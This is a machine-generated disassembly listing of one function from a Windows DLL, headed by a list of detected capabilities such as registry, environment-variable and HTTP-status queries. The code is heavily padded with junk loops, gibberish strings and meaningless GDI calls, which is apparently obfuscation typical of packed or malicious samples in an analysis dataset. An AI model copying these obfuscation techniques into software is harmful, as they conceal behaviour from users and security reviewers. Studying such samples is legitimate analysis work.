Function at 0x10007701
Capabilities:
Accept command line arguments
Check http status code
Query environment variable
Query or enumerate registry value

Disassembly:
mov eax, 0x10064d1a
call fcn.10064328
sub esp, 0x64c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1fc], edx
mov dword [ebp - 0x84], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1b0], ebx
mov dword [ebp - 0x1ac], ebx
mov dword [ebp - 0x1a8], ebx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2c4]
mov dword [ebp - 0x14], 0xfffffffd
push 3
call fcn.100038f5
xor edx, edx
mov byte [ebp - 4], 2
inc edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], ebx
jmp 0x10007770
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c4]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x10007761
mov dword [ebp - 0x14], ebx
jmp 0x1000783b
mov dword [ebp - 0x1c], 6
mov dword [ebp - 0x18], 0x8593f9be
mov dword [ebp - 0x2c], ebx
jmp 0x100077a2
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x498], 0xca3eaa3e
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x10007791
mov dword [ebp - 0x1c], 0x10
cmp dword [ebp - 0x1c], 0x18
jge 0x100077dc
xor ebx, ebx
inc ebx
push ebx
push ebx
push 0x2520
mov edx, 0x50ec
mov cl, bl
call fcn.10006467
add esp, 0xc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x18
jl 0x100077b8
xor edx, edx
xor ebx, ebx
inc edx
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 2
jg 0x10007838
mov esi, dword [ebp - 0x2c4]
mov dword [ebp - 0x24], 0xc96c7979
mov dword [ebp - 0x20], 7
inc dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x28], 0xfffffff7
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x24]
cmp eax, 0x35b6
jg 0x10007822
mov ecx, edx
cmp dword [ebp - 0x24], ebx
jne 0x10007824
mov ecx, ebx
mov eax, dword [esi + 8]
add eax, ecx
mov dword [ebp - 0x498], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x100077eb
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffff
jle 0x1000777e
lea ecx, [ebp - 0x2c4]
mov byte [ebp - 4], dl
call fcn.10003978
mov dword [ebp - 0x1c], 0xce125d16
xor edx, edx
mov dword [ebp - 0x2c], 0xfffffffc
inc edx
mov dword [ebp - 0x34], 5
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 3
jge 0x10007883
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2f4], edx
inc dword [ebp - 0x14]
jmp 0x1000786e
mov dword [ebp - 0x1c], 2
cmp dword [ebp - 0x1c], ebx
jl 0x100078af
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x2f4], ebx
je 0x100078a5
mov eax, edx
cmp dword [ebp - 0x2ec], ebx
jne 0x100078a7
mov eax, ebx
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x1c]
jns 0x1000788f
mov dword [ebp - 0x2c], 0xfffffff7
cmp dword [ebp - 0x2c], 0x1c
je 0x100079f8
mov dword [ebp - 0x20], 0xfffffff8
mov dword [ebp - 0x14], 0x860bc23c
mov dword [ebp - 0x28], 0xd2ae4566
mov dword [ebp - 0x1c], 0xffffffe5
cmp dword [ebp - 0x1c], 0x18
jne 0x100079f0
mov dword [ebp - 0x28], 0x1ca0
cmp dword [ebp - 0x28], 0x1dea
jle 0x10007947
mov eax, ebx
xor esi, esi
mov dword [ebp - 0x18], eax
inc esi
mov edi, ebx
mov ecx, edi
shl eax, cl
lea ecx, [ebp - 0x4e0]
cdq
push edx
push eax
call fcn.10001b14
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000791c
mov eax, dword [eax]
push eax
call fcn.1004c11f
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x4e0]
call fcn.10003c82
mov eax, dword [ebp - 0x18]
inc edi
cmp edi, 0x2131
jl 0x10007900
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x34a1
jl 0x100078fe
mov dword [ebp - 0x24], 0xda8afc1d
cmp dword [ebp - 0x28], 0x1c01
jge 0x10007962
push str.ywaaaf_aunab_ybvh_jxwrmtm_qhgugp_jjgh_xued_iphdwxlak_figa
call fcn.1004c11f
pop ecx
xor edx, edx
inc edx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x24]
neg eax
jne 0x100079d3
cmp dword [ebp - 0x2c], ebx
jne 0x1000799c
mov eax, dword [ebp - 0x20]
mov edx, 0xd9d749f6
imul eax, dword [ebp - 0x1c]
xor ecx, ecx
mov esi, ebx
imul eax, eax, 0x56e3
sub edx, eax
mov eax, dword [ebp - 0x20]
cmp edx, eax
setl cl
xor edx, edx
inc edx
cmp ecx, dword [ebp - 0x14]
jg 0x1000799e
mov esi, edx
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp esi, eax
setle cl
cmp ecx, dword [ebp - 0x2c]
jle 0x100079b4
mov esi, edx
cmp dword [ebp - 0x24], ebx
jne 0x100079b6
mov esi, ebx
mov eax, dword [ebp - 0x2f4]
xor ecx, ecx
cmp esi, eax
setg cl
mov dword [ebp - 0x28], ecx
mov ecx, ebx
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x28]
test eax, eax
je 0x100079d5
mov ecx, edx
xor eax, eax
cmp ecx, edx
push 0
setne al
sub eax, dword [ebp - 0x14]
pop eax
sets al
mov dword [ebp - 0x24], eax
inc dword [ebp - 0x1c]
jmp 0x100078dc
inc dword [ebp - 0x2c]
jmp 0x100078b6
push 0x6c
pop ecx
push 2
xor esi, esi
mov dword [ebp - 0xa4], 0xf02ae0c
mov al, 0xc
mov dword [ebp - 0xa0], 0x37061709
mov word [ebp - 0x9c], 0x2d08
inc esi
mov byte [ebp - 0x9a], 7
mov byte [ebp - 0x99], dl
mov word [ebp - 0x98], 0xa04
mov byte [ebp - 0x96], dl
mov dword [ebp - 0x95], 0xb130a04
mov dword [ebp - 0x91], 0x42051d
mov dword [ebp - 0x8d], 0x42b036e
mov dword [ebp - 0x89], 0x9f6488bd
mov word [ebp - 0x3f0], cx
pop edi
mov dword [ebp - 0x164], ebx
mov dword [ebp - 0x14], edi
cmp edi, 0x1f
jae 0x10007c7f
movzx eax, al
lea eax, [eax*2 + 2]
cmp edi, eax
jne 0x10007b54
mov dword [ebp - 0x28], 0x4a40
cmp dword [ebp - 0x28], 0x4bdc
jle 0x10007aeb
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov ecx, ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x20], ecx
mov eax, edi
sar eax, cl
mov ecx, 0x10081bf8
xor eax, ebx
cdq
push edx
push eax
call fcn.1000377e
mov ecx, dword [ebp - 0x20]
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x7ca7
jl 0x10007aac
inc edi
push 0
pop ebx
cmp edi, 0x79e3
jl 0x10007aa4
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x788e
jl 0x10007aa2
mov edi, dword [ebp - 0x14]
movzx eax, byte [ebp + edi - 0xa4]
inc eax
mov byte [ebp - 4], 5
cmp dword [ebp - 0x28], 0x4997
mov dword [ebp - 0x164], eax
jge 0x10007b16
mov edx, str.tikxddjuw_ujxeun_zaga_giqzgtf_abvpec_iam_rsdoc_tii_dvvjiza_sqh_cgflcep_uyusmt
mov ecx, 0x10081bf8
call fcn.100059cc
mov dword [ebp - 4], esi
movzx eax, byte [ebp + edi - 0xa4]
dec edi
add edi, eax
jmp 0x10007c4d
mov dword [ebp - 0x24], 0x5803
cmp dword [ebp - 0x24], 0x59ff
jle 0x10007bc3
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], 0x804d
mov esi, ebx
mov edi, ebx
lea ebx, [eax + esi]
mov eax, ebx
mov ecx, 0x10081bf8
xor eax, edi
cdq
push edx
push eax
call fcn.1000377e
inc edi
cmp edi, 0x2929
jl 0x10007b7a
mov eax, dword [ebp - 0x18]
inc esi
push 0
pop ebx
cmp esi, 0x494a
jl 0x10007b75
dec eax
dec dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
jne 0x10007b73
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x19de
jl 0x10007b69
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, dword [ebp - 0x14]
movzx edx, byte [ebp + edi - 0xa3]
mov eax, edi
sub eax, dword [ebp - 0x164]
movzx eax, byte [ebp + eax - 0xa6]
movzx ecx, word [ebp + eax*2 - 0x408]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + edi - 0xa4]
add ecx, edx
mov byte [ebp - 4], 7
cmp dword [ebp - 0x24], 0x5767
mov word [ebp + eax*2 - 0x408], cx
jge 0x10007c19
mov edx, str.tjiwnjkof_trsf_evesgus_jhryo_sgy_dzs_piagdata_wkzdi_bqjdvb_zzsapyhlk
mov ecx, 0x10081bf8
call fcn.100059cc
xor eax, eax
inc eax
lea ecx, [ebp - 0x164]
mov dword [ebp - 4], eax
push ecx
push eax
push 0x58f7
push ebx
push 0x3f4e
push ebx
push 0x7370
mov edx, 0x4797
mov ecx, 0x2e06
call fcn.100063dd
xor esi, esi
add esp, 0x1c
inc esi
mov al, byte [ebp - 0xa4]
add edi, 2
jmp 0x10007a71
xor eax, eax
xor edx, edx
mov word [ebp - 0x3ee], ax
inc edx
mov dword [ebp - 0x1c], 0xce125d16
mov dword [ebp - 0x2c], 0xfffffffc
mov dword [ebp - 0x34], 5
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 3
jge 0x10007cb8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2d0], edx
inc dword [ebp - 0x14]
jmp 0x10007ca3
mov dword [ebp - 0x20], 0x2492
cmp dword [ebp - 0x20], 0x56c
jge 0x10007d81
lea eax, [ebp - 0x64]
mov dword [ebp - 0x68], ebx
push eax
lea eax, [ebp - 0x68]
mov dword [ebp - 0x64], ebx
push eax
push str._d__d
call fcn.1004c372
add esp, 0xc
mov dword [ebp - 0x54], ebx
mov esi, ebx
mov byte [ebp - 0x2d], 1
push 0x45
pop edi
jmp 0x10007d16
dec eax
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x54]
push eax
push 0x1006dd00
call fcn.1004c372
mov eax, dword [ebp - 0x54]
cmp eax, esi
pop ecx
cmovg esi, eax
cmp eax, edi
pop ecx
cmovl edi, eax
mov eax, dword [ebp - 0x68]
test eax, eax
jne 0x10007cf5
dec eax
mov dword [ebp - 0x68], eax
jmp 0x10007d44
dec eax
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x54]
push eax
push 0x1006dd00
call fcn.1004c372
pop ecx
pop ecx
cmp dword [ebp - 0x54], esi
jle 0x10007d6e
lea eax, [edi + edi]
cmp dword [ebp - 0x54], eax
jle 0x10007d6e
mov eax, dword [ebp - 0x64]
test eax, eax
jne 0x10007d23
dec eax
mov dword [ebp - 0x64], eax
lea eax, [edi + edi]
cmp esi, eax
cmovl esi, eax
cmp byte [ebp - 0x2d], 0
mov dword [ebp - 0x54], esi
je 0x10007d73
push esi
push 0x1006e064
call fcn.1004c11f
pop ecx
jmp 0x10007d7d
mov byte [ebp - 0x2d], bl
jmp 0x10007d4f
push 0x1006e334
call fcn.1004c541
xor edx, edx
inc edx
pop ecx
mov dword [ebp - 0x1c], 2
cmp dword [ebp - 0x1c], ebx
jl 0x10007dad
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x2d0], ebx
je 0x10007da3
mov eax, edx
cmp dword [ebp - 0x2c8], ebx
jne 0x10007da5
mov eax, ebx
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x1c]
jns 0x10007d8d
mov dword [ebp - 0x2c], 0xfffffff7
jmp 0x10007e71
mov dword [ebp - 0x20], 0xfffffff8
mov dword [ebp - 0x18], 0x860bc23c
mov dword [ebp - 0x28], 0xd2ae4566
mov dword [ebp - 0x1c], 0xffffffe5
jmp 0x10007e64
mov dword [ebp - 0x24], 0xda8afc1d
mov eax, dword [ebp - 0x24]
neg eax
jne 0x10007e4c
cmp dword [ebp - 0x2c], ebx
jne 0x10007e15
mov eax, dword [ebp - 0x20]
mov edx, 0xd9d749f6
imul eax, dword [ebp - 0x1c]
xor ecx, ecx
mov esi, ebx
imul eax, eax, 0x56e3
sub edx, eax
mov eax, dword [ebp - 0x20]
cmp edx, eax
setl cl
xor edx, edx
inc edx
cmp ecx, dword [ebp - 0x18]
jg 0x10007e17
mov esi, edx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp esi, eax
setle cl
cmp ecx, dword [ebp - 0x2c]
jle 0x10007e2d
mov esi, edx
cmp dword [ebp - 0x24], ebx
jne 0x10007e2f
mov esi, ebx
mov eax, dword [ebp - 0x2d0]
xor ecx, ecx
cmp esi, eax
setg cl
mov dword [ebp - 0x28], ecx
mov ecx, ebx
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x28]
test eax, eax
je 0x10007e4e
mov ecx, edx
xor eax, eax
cmp ecx, edx
push 0
setne al
sub eax, dword [ebp - 0x18]
pop eax
sets al
mov dword [ebp - 0x24], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x18
je 0x10007dda
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x1c
jne 0x10007db9
push 0x65
pop eax
push 2
mov word [ebp - 0x7c], 0xee07
mov byte [ebp - 0x7a], bl
mov dword [ebp - 0x79], 0x50d030b
mov byte [ebp - 0x75], bl
mov dword [ebp - 0x74], 0x4c044e02
mov byte [ebp - 0x70], dl
mov dword [ebp - 0x6f], 0x307060e
mov word [ebp - 0x6b], 0x3a31
mov byte [ebp - 0x69], 0x60
mov word [ebp - 0x2aa], ax
pop esi
mov dword [ebp - 0x16c], ebx
mov dword [ebp - 0x28], esi
cmp esi, 0x14
jae 0x10008011
mov dword [ebp - 0x20], 0x5adf
cmp dword [ebp - 0x20], 0x5cb4
jle 0x10007f3f
push 0x1723
push 0x24de
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_LineTo]
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
cdq
lea ecx, [ebp - 0x528]
push edx
push eax
call fcn.10001b14
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10007f15
mov eax, dword [eax]
push eax
call fcn.1004c11f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x528]
call fcn.10003c82
inc edi
cmp edi, 0x6eda
jl 0x10007efa
inc esi
cmp esi, 0x71bc
jl 0x10007ef8
mov esi, dword [ebp - 0x28]
movzx eax, byte [ebp - 0x7c]
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x10007fa2
movzx ecx, byte [ebp + esi - 0x7c]
dec esi
add esi, ecx
lea eax, [ecx + 1]
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x20], 0x8fc
cmp dword [ebp - 0x20], 0x9c0
jle 0x10008009
mov edi, ebx
mov dword [ebp - 0x20], ebx
mov ecx, ebx
mov eax, edi
sar eax, cl
mov ecx, 0x10081bf8
cdq
push edx
push eax
call fcn.1000377e
inc ebx
cmp ebx, 0x23da
jl 0x10007f78
inc edi
push 0
pop ebx
cmp edi, 0x363e
jl 0x10007f75
jmp 0x10008009
cmp dword [ebp - 0x20], 0x58a8
jge 0x10007fb6
push str.ispg_jyapqh_qgmxm_pvihyvf_fwmmkp_zaekbvm_tjqnaahe_yjdo_jom_vvnafb_lxfgmon_ofwndudui
call fcn.1004c11f
pop ecx
mov dword [ebp - 4], 1
mov eax, esi
sub eax, dword [ebp - 0x16c]
movzx edx, byte [ebp + esi - 0x7b]
movzx eax, byte [ebp + eax - 0x7e]
movzx eax, word [ebp + eax*2 - 0x2b8]
mov ecx, eax
and eax, edx
or ecx, edx
xor dl, dl
sub ecx, eax
movzx eax, byte [ebp + esi - 0x7c]
push ecx
mov word [ebp + eax*2 - 0x2b8], cx
lea eax, [ebp - 0x16c]
push eax
push 0x1284
push ecx
push 0x37e0
call fcn.1000631f
add esp, 0x14
add esi, 2
jmp 0x10007ebc
xor eax, eax
lea ecx, [ebp - 0x264]
mov word [ebp - 0x2a8], ax
mov dword [ebp - 0x50], 0x60477862
push 2
call fcn.100038f5
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x288]
mov dword [ebp - 0x15c], 0x2053
push 4
call fcn.100038f5
push ecx
lea eax, [ebp - 0x204]
mov byte [ebp - 4], 0xe
push eax
push ecx
lea eax, [ebp - 0x264]
mov dword [ebp - 0x188], 0xfffffff8
push 0x2469
push eax
xor dl, dl
call fcn.10007372
add esp, 0x14
lea eax, [ebp - 0x288]
push ebx
push ecx
push eax
push ecx
lea ecx, [ebp - 0x204]
call fcn.100072bb
add esp, 0x10
mov dword [ebp - 0x50], 0x17
cmp dword [ebp - 0x50], 0xe
jg 0x100081fc
push dword [ebp - 0x18c]
movdqa xmm0, xmmword [0x100743a0]
lea eax, [ebp - 0x438]
push eax
lea eax, [ebp - 0x448]
mov dword [ebp - 0x210], 0xac3d
push eax
push ebx
lea ecx, [ebp - 0x1e0]
mov dword [ebp - 0x1e0], ebx
movdqu xmmword [ebp - 0x448], xmm0
mov dword [ebp - 0x1dc], ebx
mov dword [ebp - 0x1d8], ebx
call fcn.10006116
push 3
lea ecx, [ebp - 0x270]
mov byte [ebp - 4], 0xf
call fcn.100038f5
push ecx
lea eax, [ebp - 0x270]
mov byte [ebp - 4], 0x10
push eax
push ecx
push ebx
push 0x8f4
push 0x54ab
lea edx, [ebp - 0x1a0]
call fcn.10006e11
add esp, 0x18
lea eax, [ebp - 0x15c]
lea edx, [ebp - 0x264]
push eax
lea eax, [ebp - 0x270]
push eax
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x188]
push eax
push ecx
lea eax, [ebp - 0x1e0]
push eax
push ebx
lea eax, [ebp - 0x288]
push eax
push ecx
call fcn.100067be
mov dword [ebp - 0x24], 0x66c9
add esp, 0x28
cmp dword [ebp - 0x24], 0x6a1d
jle 0x100081d6
push ebx
push 0x12ec
push 0x1113
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x20], 0x1421
mov esi, dword [ebp - 0x18]
mov edi, ebx
mov eax, esi
mov ecx, 0x10081bf8
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.1000377e
inc edi
cmp edi, 0xcb4
jl 0x100081a2
mov esi, dword [ebp - 0x28]
add dword [ebp - 0x18], esi
dec dword [ebp - 0x20]
jne 0x1000819d
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x3ad7
jl 0x10008193
cmp dword [ebp - 0x15c], ebx
je 0x10008404
lea ecx, [ebp - 0x270]
call fcn.10003978
lea ecx, [ebp - 0x1e0]
mov byte [ebp - 4], 0xe
call fcn.10003978
lea eax, [ebp - 0x188]
push eax
push ecx
lea eax, [ebp - 0x288]
push eax
lea eax, [ebp - 0x50]
push eax
push 0x4fcd
push 0x43d2
push ebx
lea edx, [ebp - 0x264]
lea ecx, [ebp - 0x15c]
call fcn.100075d3
add esp, 0x1c
lea ecx, [ebp - 0x288]
call fcn.10003978
lea ecx, [ebp - 0x264]
mov byte [ebp - 4], 1
call fcn.10003978
xor eax, eax
mov dword [ebp - 0x3cc], 7
mov word [ebp - 0x3e0], ax
lea ecx, [ebp - 0x3e0]
lea eax, [ebp - 0x2b8]
mov dword [ebp - 0x3d0], ebx
push eax
call fcn.10003d6e
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x3b8]
xor eax, eax
mov dword [ebp - 0x3a4], 7
mov word [ebp - 0x3b8], ax
lea eax, [ebp - 0x408]
push eax
mov dword [ebp - 0x3a8], ebx
call fcn.10003d6e
lea eax, [ebp - 0x3b8]
push eax
lea ecx, [ebp - 0x4c8]
call fcn.10005e0a
lea eax, [ebp - 0x3e0]
push eax
lea ecx, [ebp - 0x4b0]
call fcn.10005e0a
push ebx
push 1
lea ecx, [ebp - 0x3b8]
call fcn.1000418d
push ebx
push 1
lea ecx, [ebp - 0x3e0]
call fcn.1000418d
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x498]
push dword [ebp - 0x1a0]
lea ecx, [ebp - 0x198]
mov dword [ebp - 0x198], ebx
push eax
lea eax, [ebp - 0x4c8]
mov dword [ebp - 0x194], ebx
push eax
push ebx
mov dword [ebp - 0x190], ebx
call fcn.1000a70d
push fcn.10009e20
push 1
push 0x30
lea eax, [ebp - 0x4c8]
mov byte [ebp - 4], 0x16
push eax
call fcn.1004c412
push 0x10f3
push 0x4ba7
push 0x750d
push 0x77c7
push 0x6ac9
push ecx
push 0x7608
push 1
push 0x7a39
push ecx
mov edx, 0x42c5
call fcn.100067be
push 7
pop ecx
push 0x1f0d
xor eax, eax
lea edi, [ebp - 0x408]
rep stosd dword es:[edi], eax
inc eax
mov ecx, 0x6286
push eax
push 0x1c1d
push 0x7191
push 0x7ebb
push 0x5058
push 0x1658
push 0x7047
push eax
push 0x599d
mov dl, al
call fcn.100069ca
xor eax, eax
lea edi, [ebp - 0x2b8]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x318]
add esp, 0x50
stosd dword es:[edi], eax
push 2
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x24], 0xd3e9
call fcn.100038f5
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x40], ebx
cmp dword [ebp - 0x40], 3
jge 0x100083ff
xor esi, esi
inc esi
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x240], esi
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 3
jl 0x100083ec
mov dword [ebp - 0x40], ebx
jmp 0x10008478
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0x24], 0x65b6
jge 0x1000843e
mov edx, str.afpdstybq_bliqaejie_mdtyflu_wcmmourgk_twkhecvi_euzlbqxj_ftqu
mov ecx, 0x10081bf8
call fcn.100059cc
jmp 0x1000843e
lea ecx, [ebp - 0x270]
mov dword [ebp - 4], 0x10
call fcn.10003978
lea ecx, [ebp - 0x1e0]
mov byte [ebp - 4], 0xe
call fcn.10003978
dec dword [ebp - 0x50]
jmp 0x10008095
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x418], 0xbc9fa8bc
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 4
jl 0x10008467
push ebx
lea eax, [ebp - 0x40]
push eax
push ecx
push ecx
lea edx, [ebp - 0x318]
call fcn.10007497
add esp, 0x10
mov edx, 0x33b7
push 1
push 0x43a4
push ecx
push ecx
call fcn.10007497
mov dword [ebp - 0x1c], 2
add esp, 0x10
cmp dword [ebp - 0x1c], ebx
jl 0x10008707
mov edi, dword [ebp - 0x318]
mov esi, 0x5427e557
push 1
lea ecx, [ebp - 0x2a4]
call fcn.100038f5
push 2
lea ecx, [ebp - 0x348]
mov byte [ebp - 4], 0x18
call fcn.100038f5
push 1
lea ecx, [ebp - 0x354]
mov byte [ebp - 4], 0x19
call fcn.100038f5
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x2e8]
mov dword [ebp - 0x28], 0xfffffff8
push 3
call fcn.100038f5
push 0x61c4
xor eax, eax
mov byte [ebp - 4], 0x1b
inc eax
mov dword [ebp - 0x34], 0xd385e13c
push eax
push 0x34c
push eax
mov dword [ebp - 0x18], 6
lea eax, [ebp - 0x38]
push 0xf1
mov dword [ebp - 0x364], esi
lea ecx, [ebp - 0x2a4]
mov dword [ebp - 0x360], esi
mov edx, 0xa08
push ebx
mov dword [ebp - 0x35c], esi
mov dword [ebp - 0x358], esi
push eax
call fcn.100063dd
add esp, 0x1c
lea eax, [ebp - 0x38]
lea edx, [ebp - 0x348]
push 1
push eax
push ecx
call fcn.10006c3f
xor edx, edx
mov dword [ebp - 0x38], ebx
add esp, 0xc
inc edx
jmp 0x1000858d
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x354]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], edx
jl 0x1000857e
push ecx
push ecx
push edx
lea eax, [ebp - 0x2e8]
push eax
lea ecx, [ebp - 0x38]
call fcn.100070a1
xor esi, esi
mov dword [ebp - 0x38], ebx
add esp, 0x10
inc esi
cmp dword [ebp - 0x38], 2
jge 0x100085c2
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x298], esi
inc dword [ebp - 0x38]
jmp 0x100085ad
lea eax, [ebp - 0x46]
mov byte [ebp - 0x46], bl
push eax
push 0x2773
xor cl, cl
call fcn.10006797
pop ecx
pop ecx
cmp dword [ebp - 0x24], ebx
je 0x100085ff
mov dword [ebp - 0x20], 0x3978
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x240]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x418]
mov eax, dword [ebp - 0x240]
mov eax, dword [ebp - 0x28]
xor edx, edx
cmp eax, esi
mov eax, dword [ebp - 0x354]
setl dl
xor ecx, ecx
cmp dword [eax], ebx
sete cl
xor eax, eax
cmp ecx, edx
setge al
xor edx, edx
cmp eax, 0xe313559
mov eax, dword [ebp - 0x294]
setg dl
xor ecx, ecx
cmp edx, eax
sete cl
xor edx, edx
mov dword [ebp - 0x294], ecx
mov eax, dword [ebp - 0x1c]
lea ecx, [edx + 1]
lea esi, [edx + 1]
mov eax, dword [ebp + eax*4 - 0x240]
sub ecx, eax
mov eax, dword [ebp - 0x348]
mov dword [ebp - 0x35c], ecx
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x18]
dec dword [ebp - 0x18]
cmp eax, ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2a4]
cmovl esi, ebx
xor ecx, ecx
mov dword [eax], edx
mov eax, dword [ebp - 0x2e8]
cmp esi, dword [eax]
sete cl
neg edx
xor eax, eax
cmp edx, ecx
setg al
xor edx, edx
cmp eax, dword [edi + 4]
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setg cl
xor edx, edx
cmp ecx, 0x350b8378
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x23c]
setne cl
xor edx, edx
imul ecx, ecx, 0x72c6
cmp eax, ecx
lea ecx, [ebp - 0x2e8]
setge dl
mov dword [ebp - 0x410], edx
call fcn.10003978
lea ecx, [ebp - 0x354]
call fcn.10003978
lea ecx, [ebp - 0x348]
call fcn.10003978
lea ecx, [ebp - 0x2a4]
mov byte [ebp - 4], 0x17
call fcn.10003978
dec dword [ebp - 0x1c]
mov esi, 0x5427e557
jns 0x100084c4
lea ecx, [ebp - 0x318]
mov byte [ebp - 4], 0x16
call fcn.10003978
push ecx
push 0x6a99
lea eax, [ebp - 0x198]
mov dl, 1
push eax
push ecx
lea eax, [ebp + 8]
push eax
call fcn.1000631f
add esp, 0x14
mov edx, 0x32b3
xor cl, cl
push 1
push ebx
push 0x7e6
call fcn.10006467
movdqa xmm0, xmmword [0x100743a0]
lea eax, [ebp - 0x418]
add esp, 0xc
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x18], 0x5ce9
lea ecx, [ebp - 0x24c]
movdqu xmmword [ebp - 0x428], xmm0
mov dword [ebp - 0x24c], ebx
push dword [ebp - 0x1a0]
mov dword [ebp - 0x248], ebx
push eax
lea eax, [ebp - 0x428]
mov dword [ebp - 0x244], ebx
push eax
push ebx
call fcn.10006116
push 1
lea ecx, [ebp - 0x384]
mov byte [ebp - 4], 0x1c
call fcn.100038f5
mov byte [ebp - 4], 0x1d
push 7
pop eax
mov dword [ebp - 0x394], eax
mov dword [ebp - 0x390], eax
mov dword [ebp - 0x38c], eax
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x3c], ebx
jmp 0x100087df
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x258], 0x1d21f1eb
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 3
jl 0x100087ce
lea eax, [ebp - 0x3c]
push eax
push ecx
lea eax, [ebp - 0x384]
push eax
push 0x1d60
push ebx
call fcn.10006d0b
add esp, 0x14
mov dword [ebp - 0x3c], ebx
jmp 0x10008815
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x378], 6
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 2
jl 0x10008804
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
dec dword [ebp - 0x18]
mov eax, dword [ebp - 0x250]
mov eax, dword [ebp - 0x250]
